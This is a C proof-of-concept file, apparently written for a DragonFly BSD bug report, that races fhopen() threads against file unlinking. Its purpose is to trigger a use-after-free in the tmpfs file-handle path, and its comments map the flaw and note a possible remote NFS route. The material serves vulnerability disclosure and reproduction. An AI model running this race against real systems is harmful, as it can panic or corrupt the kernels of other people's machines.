DF-3180 / fh_race.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 | /* * DF-3180 โ tmpfs_fhtovp passes an UNPINNED tmpfs_node to tmpfs_alloc_vp. * * sys/vfs/tmpfs/tmpfs_vfsops.c:453-465: fhtovp holds TMPFS_LOCK (the mount * token) while walking tm_nodes_used, then calls * tmpfs_alloc_vp(mp, NULL, node, LK_EXCLUSIVE, vpp) on the found node with * NO reference pin (contrast tmpfs_unmount at tmpfs_vfsops.c:288/:347, * which bumps tn_links around blocking operations, and tmpfs_alloc_file in * tmpfs_subr.c:568-577, whose node is pinned by its dirent's link count). * * tmpfs_alloc_vp blocks (getnewvnode at tmpfs_subr.c:383, vget at :432); * blocking releases the mount token (the code's own comment at * tmpfs_vfsops.c:296-302 documents this DragonFly token behavior), so the * "found" node can concurrently go through tmpfs_inactive (DOOMED) -> * tmpfs_reclaim -> tmpfs_free_node (tmpfs_vnops.c:1852-1865) and be * kfree_obj'd. When vget() then returns ENOENT for the reclaimed vnode * (sys/kern/vfs_lock.c:595-601), alloc_vp does `vdrop(vp); goto loop;` * (tmpfs_subr.c:432-435) and re-reads node->tn_vnode at :382 โ a * use-after-free read โ and can install the freed pointer as * `vp->v_data = node` at :468 (type confusion for later vnode ops). * * On INVARIANTS kernels the race is caught earlier by the KKASSERT at * tmpfs_subr.c:402 (DF-3072's panic). On stock kernels the asserts are * gone and the freed-node deref proceeds silently. * * Reachability: VFS_FHTOVP on tmpfs is called by (a) the NFS server for * every client file handle when a tmpfs has been exported via * mountctl(MOUNTCTL_SET_EXPORT) โ tmpfs_mountctl in tmpfs_vnops.c:1879 โ * and (b) fhopen()/fhstat() (root-only). This PoC uses the root-only * fhopen() path to drive the identical code with a local race; the remote * analogue is an NFS client replaying a file handle while the file's last * reference goes away. * * Build: cc -O2 -pthread -o fh_race fh_race.c * Run: ./fh_race /tmp/fhrace 600 * Expect (INVARIANTS kernel): panic "tmpfs_alloc_vp: node is not locked" * or KKASSERT at tmpfs_subr.c:402 (DF-3072 manifestation) proving * the fhtovp window is hittable; on stock kernels the same window * reaches the freed-node deref at tmpfs_subr.c:382. */ #include <sys/param.h> #include <sys/mount.h> #include <sys/stat.h> #include <err.h> #include <errno.h> #include <fcntl.h> #include <pthread.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> static fhandle_t g_fh; static volatile int g_round; static volatile int g_stop; static volatile int g_fhops; static void * racer(void *arg) { long id = (long)arg; int last = -1; while (!g_stop) { int r = g_round; if (r != last) { /* new round: g_fh was refreshed by main */ last = r; } int fd = fhopen(&g_fh, O_RDONLY); if (fd >= 0) { g_fhops++; close(fd); } } return NULL; } int main(int argc, char **argv) { const char *path = (argc > 1) ? argv[1] : "/tmp/fhrace"; int seconds = (argc > 2) ? atoi(argv[2]) : 600; pthread_t th[4]; char buf[64]; long rounds = 0; setvbuf(stderr, NULL, _IONBF, 0); for (long i = 0; i < 4; i++) if (pthread_create(&th[i], NULL, racer, (void *)i) != 0) err(1, "pthread_create"); u_int start = time(NULL); while ((int)(time(NULL) - start) < seconds) { int fd; fd = open(path, O_CREAT | O_TRUNC | O_RDWR, 0600); if (fd < 0) err(1, "open(%s)", path); if (write(fd, buf, sizeof(buf)) < 0) err(1, "write"); if (getfh(path, &g_fh) < 0) err(1, "getfh"); g_round++; /* racers switch to new fh */ /* * Race window: racers are inside fhtovp walking * tm_nodes_used for this node while we drop the last * ref and unlink it -> inactive -> reclaim -> free_node. */ usleep(200); unlink(path); close(fd); rounds++; if ((rounds % 2000) == 0) fprintf(stderr, "rounds=%ld fhops=%d\n", rounds, g_fhops); } g_stop = 1; for (long i = 0; i < 4; i++) pthread_join(th[i], NULL); fprintf(stderr, "done: rounds=%ld successful fhopen ops=%d " "(no panic; window not hit in this run)\n", rounds, g_fhops); return 0; } |